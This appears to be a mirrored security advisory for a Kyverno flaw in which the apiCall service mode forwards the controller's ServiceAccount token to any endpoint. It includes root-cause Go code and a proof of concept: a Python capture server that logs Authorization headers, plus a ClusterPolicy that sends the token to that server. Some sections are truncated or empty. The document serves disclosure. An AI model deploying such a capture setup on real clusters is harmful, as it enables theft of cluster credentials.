github.com/kyverno/kyverno
Affected
- introduced
0, fixed1.17.0(semver)
Fixed versions
1.17.0
Fix
- Fixed version
1.17.0go get github.com/kyverno/[email protected]
Advisory
Also known as: BIT-kyverno-2026-84195, CVE-2026-84195, GO-2026-5268
Kyverno apiCall automatically forwards ServiceAccount token to external endpoints (credential leak)
Summary
Kyverno's apiCall service mode automatically attaches the admission controller's ServiceAccount (SA) token to outbound HTTP requests. This results in unintended credential exposure when requests are sent to external or attacker-controlled endpoints.
The behavior is insecure-by-default and not documented, enabling token exfiltration without requiring policy authors to explicitly opt in.
---
Details
Kyverno's apiCall executor (pkg/engine/apicall/executor.go) reads the ServiceAccount token from:
/var/run/secrets/kubernetes.io/serviceaccount/token
and injects it into every HTTP request as:
Authorization: Bearer <token>
This occurs when no explicit Authorization header is defined in the policy.
Root cause
if req.Header.Get("Authorization") == "" {
token := a.getToken()
if token != "" {
req.Header.Add("Authorization", "Bearer "+token)
}
}
This logic introduces several issues:
---
PoC
Preconditions
apiCall.service.url---
Step 1 — Deploy capture server
kubectl run capture --image=python:3-slim --restart=Never -- \
python3 -c "
import http.server
class H(http.server.BaseHTTPRequestHandler):
def do_GET(self):
print(self.headers.get('Authorization'), flush=True)
self.send_response(200)
self.end_headers()
http.server.HTTPServer(('0.0.0.0',8888),H).serve_forever()"
kubectl expose pod capture --port=8888
---
Step 2 — Create policy
apiVersion: kyverno.io/v1
kind: ClusterPolicy
metadata:
name: token-leak
spec:
rules:
- name: test
match:
any:
- resources:
kinds: ["Pod"]
context:
- name: r
apiCall:
method: GET
service:
url: "http://capture.default.svc:8888"
jmesPath: "@"
---
Step 3 — Trigger
kubectl run test --image=nginx
---
Step 4 — Observe token
kubectl logs capture
Output:
Authorization: Bearer <SA_TOKEN>
---
Impact
Vulnerability class
Impact details
High Basis: The source's own band: HIGH
0, fixed 1.17.0 (semver)1.17.0
1.17.0go get github.com/kyverno/[email protected]Fix commands are the export's own generic commands. Ojuju never runs them. Check them against your setup first.
Check your own computer: guard packages check
Source: GitHub Advisory Database (reviewed advisories) · CC BY 4.0